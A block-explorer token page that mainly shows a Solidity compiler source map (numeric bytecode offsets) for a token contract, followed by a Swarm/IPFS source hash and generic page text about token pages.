:5;:::i;:::-;1082:17;946:168;-1:-1:-1;;;;;946:168:0:o;13092:1141::-;13200:4;-1:-1:-1;;;;;13219:20:0;;13211:70;;;;-1:-1:-1;;;13211:70:0;;8365:2:1;13211:70:0;;;8347:21:1;8404:2;8384:18;;;8377:30;8443:34;8423:18;;;8416:62;-1:-1:-1;;;8494:18:1;;;8487:35;8539:19;;13211:70:0;8163:401:1;13211:70:0;-1:-1:-1;;;;;13292:23:0;;13284:71;;;;-1:-1:-1;;;13284:71:0;;8771:2:1;13284:71:0;;;8753:21:1;8810:2;8790:18;;;8783:30;8849:34;8829:18;;;8822:62;-1:-1:-1;;;8900:18:1;;;8893:33;8943:19;;13284:71:0;8569:399:1;13284:71:0;13375:1;13366:6;:10;13358:64;;;;-1:-1:-1;;;13358:64:0;;9175:2:1;13358:64:0;;;9157:21:1;9214:2;9194:18;;;9187:30;9253:34;9233:18;;;9226:62;-1:-1:-1;;;9304:18:1;;;9297:39;9353:19;;13358:64:0;8973:405:1;13358:64:0;-1:-1:-1;;;;;13468:15:0;;13427:12;13468:15;;;:7;:15;;;;;;13427:12;;13468:15;;13467:16;:39;;;;-1:-1:-1;;;;;;13488:18:0;;;;;;:7;:18;;;;;;;;13487:19;13467:39;13459:48;;;;;;13516:6;;;;13512:67;;;13534:41;13549:6;13557:9;13568:6;13534:14;:41::i;:::-;13527:48;;;;;;13512:67;-1:-1:-1;;;;;13587:19:0;;;;;;:11;:19;;;;;;;;13586:20;:47;;;;-1:-1:-1;;;;;;13611:22:0;;;;;;:11;:22;;;;;;;;13610:23;13586:47;13583:101;;;13645:11;;-1:-1:-1;;;13645:11:0;;;;13637:43;;;;-1:-1:-1;;;13637:43:0;;9585:2:1;13637:43:0;;;9567:21:1;9624:2;9604:18;;;9597:30;-1:-1:-1;;;9643:18:1;;;9636:50;9703:18;;13637:43:0;9383:344:1;13637:43:0;13692:11;;-1:-1:-1;;;13692:11:0;;;;13688:72;;13715:41;13730:6;13738:9;13749:6;13715:14;:41::i;13688:72::-;13766:34;13782:6;13790:9;13766:15;:34::i;:::-;13762:211;;;-1:-1:-1;;;;;13815:26:0;;;;;;:15;:26;;;;;;;;;:80;;-1:-1:-1;13879:16:0;;-1:-1:-1;;;;;13846:20:0;;;;;;:9;:20;;;;;;:29;;13869:6;;13846:29;:::i;:::-;:49;;13815:80;13805:135;;;;-1:-1:-1;;;13805:135:0;;10064:2:1;13805:135:0;;;10046:21:1;10103:2;10083:18;;;10076:30;10142:34;10122:18;;;10115:62;-1:-1:-1;;;10193:18:1;;;10186:35;10238:19;;13805:135:0;9862:401:1;13805:135:0;13945:24;13962:6;13945:16;:24::i;:::-;13998:38;14018:6;14026:9;13998:19;:38::i;:::-;13977:59;;;;;;;;14045:67;14064:7;14073;14082:6;14090:21;;14045:18;:67::i;:::-;14041:107;;;14117:27;14137:6;14117:19;:27::i;:::-;14152:63;14171:6;14179:9;14190:6;14198:7;14207;14152:18;:63::i;:::-;-1:-1:-1;14225:4:0;;13092:1141;-1:-1:-1;;;;;;13092:1141:0:o;7347:305::-;7475:58;;;;;;;;;;;-1:-1:-1;;;7475:58:0;;;;;;;;-1:-1:-1;;;;;7475:17:0;;7446:4;7475:17;;;:9;:17;;;;;;;:58;;7499:6;;7475:21;:58::i;:::-;-1:-1:-1;;;;;7455:17:0;;;;;;;:9;:17;;;;;;:78;;;;7559:20;;;;;;;:32;;7584:6;7559:24;:32::i;:::-;-1:-1:-1;;;;;7536:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7599:35;;;;;;;;;;7627:6;2758:25:1;;2746:2;2731:18;;2612:177;7599:35:0;;;;;;;;-1:-1:-1;7644:4:0;7347:305;;;;;:::o;12210:196::-;12323:4;;12293;;-1:-1:-1;;;;;12310:17:0;;;12323:4;;12310:17;;;;:39;;-1:-1:-1;12345:4:0;;-1:-1:-1;;;;;12332:17:0;;;12345:4;;12332:17;;12310:39;:64;;;;-1:-1:-1;;;;;;12355:19:0;;;;;;:11;:19;;;;;;;;12354:20;12310:64;:92;;;;-1:-1:-1;;;;;;;12380:22:0;;;;;:11;:22;;;;;;;;12379:23;;12210:196;-1:-1:-1;12210:196:0:o;14752:95::-;14819:4;;-1:-1:-1;;;;;14819:4:0;;;14809:14;;;;14806:38;;14828:10;:12;;;:10;:12;;;:::i;:::-;;;;;;14752:95;:::o;12408:291::-;12486:4;12492;12503:13;12523:15;12541:16;12552:4;-1:-1:-1;;;;;14927:19:0;14910:4;14927:19;;;:11;:19;;;;;;;;14926:20;;14851:99;12541:16;12571:4;;12523:34;;-1:-1:-1;;;;;;12571:4:0;;;12565:10;;;;12562:102;;12591:1;12580:12;;12562:102;;;12614:4;;-1:-1:-1;;;;;12614:4:0;;;12606:12;;;;12602:62;;12634:1;12623:12;;12602:62;;;12659:1;12648:12;;12602:62;12674:10;12686:8;;-1:-1:-1;12408:291:0;-1:-1:-1;;;12408:291:0:o;11360:470::-;11622:4;11485;7321:18;;;:9;:18;;;;;;11522:6;;11559:7;;11633:16;11679:15;11652:24;:42;:81;;;;;11718:15;11698:17;:35;11652:81;11747:6;;11633:100;;-1:-1:-1;11747:6:0;;11746:7;:25;;;;;11758:13;11746:25;:48;;;;;11793:1;11777:13;:17;11746:48;:64;;;;;11799:11;11746:64;:80;;;;-1:-1:-1;11815:11:0;;-1:-1:-1;;;11815:11:0;;;;11746:80;11738:88;11360:470;-1:-1:-1;;;;;;;;;11360:470:0:o;8671:507::-;6607:6;:13;;-1:-1:-1;;6607:13:0;6616:4;6607:13;;;8780:4:::1;-1:-1:-1::0;7321:18:0;;;:9;:18;;;;;;8739:47:::1;;8789:20;8812:43;8816:6;8824:30;8828:12;8842:11;;8824:3;:30::i;:::-;8812:3;:43::i;:::-;8884:16;::::0;;8898:1:::1;8884:16:::0;;;;;::::1;::::0;;8789:66;;-1:-1:-1;8860:21:0::1;::::0;8884:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8884:16:0::1;8860:40;;8921:4;8903;8908:1;8903:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8903:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8939:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;8939:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;8903:7;;8939:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8929:4;8934:1;8929:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8929:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;8957:6:::1;::::0;:120:::1;::::0;-1:-1:-1;;;8957:120:0;;:6;::::1;::::0;:57:::1;::::0;:120:::1;::::0;9017:12;;8957:6:::1;::::0;9036:4;;9051::::1;::::0;9059:15:::1;::::0;8957:120:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;9137:13:0::1;::::0;9129:45:::1;::::0;9105:21:::1;::::0;-1:-1:-1;;;;;;9137:13:0;;::::1;::::0;-1:-1:-1;9129:45:0;::::1;;;::::0;9105:21;;9082:20:::1;9129:45:::0;9082:20;9129:45;9105:21;9137:13;9129:45;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6627:6:0;:14;;-1:-1:-1;;6627:14:0;;;-1:-1:-1;;;;8671:507:0:o;10105:485::-;10237:4;10248:20;10272:23;10334:41;10351:6;10359:7;10368:6;10334:16;:41::i;:::-;10398:64;;;;;;;;;;;-1:-1:-1;;;10398:64:0;;;;;;;;-1:-1:-1;;;;;10398:17:0;;-1:-1:-1;10398:17:0;;;:9;:17;;;;;;;;10300:75;;-1:-1:-1;10300:75:0;;-1:-1:-1;10398:64:0;;:17;10300:75;;10398:21;:64::i;:::-;-1:-1:-1;;;;;10378:17:0;;;;;;;:9;:17;;;;;;:84;;;;10488:20;;;;;;;:41;;10513:15;10488:24;:41::i;:::-;-1:-1:-1;;;;;10465:20:0;;;;;;;:9;:20;;;;;;;:64;;;;10537:35;;;;;;;;;;10565:6;2758:25:1;;2746:2;2731:18;;2612:177;10537:35:0;;;;;;;;-1:-1:-1;10582:4:0;;10105:485;-1:-1:-1;;;;;;;10105:485:0:o;663:151::-;721:7;;745:5;749:1;745;:5;:::i;:::-;733:17;;766:1;761;:6;;753:46;;;;-1:-1:-1;;;753:46:0;;11455:2:1;753:46:0;;;11437:21:1;11494:2;11474:18;;;11467:30;11533:29;11513:18;;;11506:57;11580:18;;753:46:0;11253:351:1;11174:88:0;11231:7;11252:1;11250;:3;11249:9;;11257:1;11249:9;;;-1:-1:-1;11255:1:0;11174:88;-1:-1:-1;11174:88:0:o;8203:378::-;8290:7;8299;8311:15;8329:7;:104;;8350:16;;-1:-1:-1;;;8350:16:0;;;;:83;;8426:7;8329:104;;8350:83;8370:51;8396:6;8404:7;8413;8370:25;:51::i;:::-;8329:104;;;8340:7;8329:104;8456:16;;8311:122;;-1:-1:-1;8438:15:0;;-1:-1:-1;;;8456:16:0;;;;:27;;;;;8476:7;8456:27;:93;;8542:7;8456:93;;;8487:51;8513:6;8521:7;8530;8487:25;:51::i;:::-;8560:7;;;;-1:-1:-1;8203:378:0;;-1:-1:-1;;;;;8203:378:0:o;9301:763::-;9413:7;;9484:3;9492:311;;;;9534:1;9518:13;:17;9515:252;;;9569:16;;9558:10;;:27;:58;;9604:12;;9558:58;;;9588:13;;9558:58;9540:77;;9492:311;;9515:252;9633:17;;9630:134;;9684:15;;9673:10;;:26;:55;;9717:11;;9673:55;;;9702:12;;9655:74;;9492:311;;9630:134;9759:1;9742:18;;9492:311;;;9798:1;9781:18;;9492:311;9807:18;9828:55;9860:22;9828:27;:7;9840:14;9828:11;:27::i;:::-;:31;;:55::i;:::-;9931:4;9913:24;;;;:9;:24;;;;;;9807:76;;-1:-1:-1;9913:40:0;;9807:76;9913:28;:40::i;:::-;9904:4;9886:24;;;;:9;:24;;;;;:67;9969:13;:56;;9998:27;:7;10010:14;9998:11;:27::i;:::-;9969:56;;;9985:10;9969:56;9956:69;-1:-1:-1;10037:23:0;:7;9956:69;10037:11;:23::i;:::-;10030:30;9301:763;-1:-1:-1;;;;;;;9301:763:0:o;1118:190::-;1176:7;1192:1;1197;1192:6;1188:27;;-1:-1:-1;1210:1:0;1203:8;;1188:27;1217:9;1229:5;1233:1;1229;:5;:::i;:::-;1217:17;-1:-1:-1;1254:1:0;1245:5;1249:1;1217:17;1245:5;:::i;:::-;:10;1237:56;;;;-1:-1:-1;;;1237:56:0;;12206:2:1;1237:56:0;;;12188:21:1;12245:2;12225:18;;;12218:30;12284:34;12264:18;;;12257:62;-1:-1:-1;;;12335:18:1;;;12328:31;12376:19;;1237:56:0;12004:397:1;1312:120:0;1370:7;1389:39;1393:1;1396;1389:39;;;;;;;;;;;;;;;;;:3;:39::i;818:124::-;876:7;895:43;899:1;902;895:43;;;;;;;;;;;;;;;;;:3;:43::i;1436:167::-;1528:7;1555:12;1548:5;1540:28;;;;-1:-1:-1;;;1540:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1571:9:0;1583:5;1587:1;1583;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:127::-;628:10;623:3;619:20;616:1;609:31;659:4;656:1;649:15;683:4;680:1;673:15;699:131;-1:-1:-1;;;;;774:31:1;;764:42;;754:70;;820:1;817;810:12;835:134;903:20;;932:31;903:20;932:31;:::i;:::-;835:134;;;:::o;974:1121::-;1058:6;1089:2;1132;1120:9;1111:7;1107:23;1103:32;1100:52;;;1148:1;1145;1138:12;1100:52;1188:9;1175:23;1217:18;1258:2;1250:6;1247:14;1244:34;;;1274:1;1271;1264:12;1244:34;1312:6;1301:9;1297:22;1287:32;;1357:7;1350:4;1346:2;1342:13;1338:27;1328:55;;1379:1;1376;1369:12;1328:55;1415:2;1402:16;1437:2;1433;1430:10;1427:36;;;1443:18;;:::i;:::-;1489:2;1486:1;1482:10;1521:2;1515:9;1584:2;1580:7;1575:2;1571;1567:11;1563:25;1555:6;1551:38;1639:6;1627:10;1624:22;1619:2;1607:10;1604:18;1601:46;1598:72;;;1650:18;;:::i;:::-;1686:2;1679:22;1736:18;;;1770:15;;;;-1:-1:-1;1812:11:1;;;1808:20;;;1840:19;;;1837:39;;;1872:1;1869;1862:12;1837:39;1896:11;;;;1916:148;1932:6;1927:3;1924:15;1916:148;;;1998:23;2017:3;1998:23;:::i;:::-;1986:36;;1949:12;;;;2042;;;;1916:148;;;2083:6;974:1121;-1:-1:-1;;;;;;;;974:1121:1:o;2292:315::-;2360:6;2368;2421:2;2409:9;2400:7;2396:23;2392:32;2389:52;;;2437:1;2434;2427:12;2389:52;2476:9;2463:23;2495:31;2520:5;2495:31;:::i;:::-;2545:5;2597:2;2582:18;;;;2569:32;;-1:-1:-1;;;2292:315:1:o;2794:456::-;2871:6;2879;2887;2940:2;2928:9;2919:7;2915:23;2911:32;2908:52;;;2956:1;2953;2946:12;2908:52;2995:9;2982:23;3014:31;3039:5;3014:31;:::i;:::-;3064:5;-1:-1:-1;3121:2:1;3106:18;;3093:32;3134:33;3093:32;3134:33;:::i;:::-;2794:456;;3186:7;;-1:-1:-1;;;3240:2:1;3225:18;;;;3212:32;;2794:456::o;3255:180::-;3314:6;3367:2;3355:9;3346:7;3342:23;3338:32;3335:52;;;3383:1;3380;3373:12;3335:52;-1:-1:-1;3406:23:1;;3255:180;-1:-1:-1;3255:180:1:o;3440:247::-;3499:6;3552:2;3540:9;3531:7;3527:23;3523:32;3520:52;;;3568:1;3565;3558:12;3520:52;3607:9;3594:23;3626:31;3651:5;3626:31;:::i;4089:388::-;4157:6;4165;4218:2;4206:9;4197:7;4193:23;4189:32;4186:52;;;4234:1;4231;4224:12;4186:52;4273:9;4260:23;4292:31;4317:5;4292:31;:::i;:::-;4342:5;-1:-1:-1;4399:2:1;4384:18;;4371:32;4412:33;4371:32;4412:33;:::i;:::-;4464:7;4454:17;;;4089:388;;;;;:::o;4716:380::-;4795:1;4791:12;;;;4838;;;4859:61;;4913:4;4905:6;4901:17;4891:27;;4859:61;4966:2;4958:6;4955:14;4935:18;4932:38;4929:161;;5012:10;5007:3;5003:20;5000:1;4993:31;5047:4;5044:1;5037:15;5075:4;5072:1;5065:15;5101:329;5303:2;5285:21;;;5342:1;5322:18;;;5315:29;-1:-1:-1;;;5375:2:1;5360:18;;5353:36;5421:2;5406:18;;5101:329::o;5435:127::-;5496:10;5491:3;5487:20;5484:1;5477:31;5527:4;5524:1;5517:15;5551:4;5548:1;5541:15;5567:127;5628:10;5623:3;5619:20;5616:1;5609:31;5659:4;5656:1;5649:15;5683:4;5680:1;5673:15;5699:135;5738:3;5759:17;;;5756:43;;5779:18;;:::i;:::-;-1:-1:-1;5826:1:1;5815:13;;5699:135::o;5839:251::-;5909:6;5962:2;5950:9;5941:7;5937:23;5933:32;5930:52;;;5978:1;5975;5968:12;5930:52;6010:9;6004:16;6029:31;6054:5;6029:31;:::i;7016:306::-;7104:6;7112;7120;7173:2;7161:9;7152:7;7148:23;7144:32;7141:52;;;7189:1;7186;7179:12;7141:52;7218:9;7212:16;7202:26;;7268:2;7257:9;7253:18;7247:25;7237:35;;7312:2;7301:9;7297:18;7291:25;7281:35;;7016:306;;;;;:::o;8030:128::-;8097:9;;;8118:11;;;8115:37;;;8132:18;;:::i;9732:125::-;9797:9;;;9818:10;;;9815:36;;;9831:18;;:::i;10268:980::-;10530:4;10578:3;10567:9;10563:19;10609:6;10598:9;10591:25;10635:2;10673:6;10668:2;10657:9;10653:18;10646:34;10716:3;10711:2;10700:9;10696:18;10689:31;10740:6;10775;10769:13;10806:6;10798;10791:22;10844:3;10833:9;10829:19;10822:26;;10883:2;10875:6;10871:15;10857:29;;10904:1;10914:195;10928:6;10925:1;10922:13;10914:195;;;10993:13;;-1:-1:-1;;;;;10989:39:1;10977:52;;11084:15;;;;11049:12;;;;11025:1;10943:9;10914:195;;;-1:-1:-1;;;;;;;11165:32:1;;;;11160:2;11145:18;;11138:60;-1:-1:-1;;;11229:3:1;11214:19;11207:35;11126:3;10268:980;-1:-1:-1;;;10268:980:1:o;11609:168::-;11682:9;;;11713;;11730:15;;;11724:22;;11710:37;11700:71;;11751:18;;:::i;11782:217::-;11822:1;11848;11838:132;;11892:10;11887:3;11883:20;11880:1;11873:31;11927:4;11924:1;11917:15;11955:4;11952:1;11945:15;11838:132;-1:-1:-1;11984:9:1;;11782:217::o
Swarm Source
ipfs://34655cd5ac92bac143d454d2ed5d4be220e714ae48b8820a1a5b8dea24a93fab
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.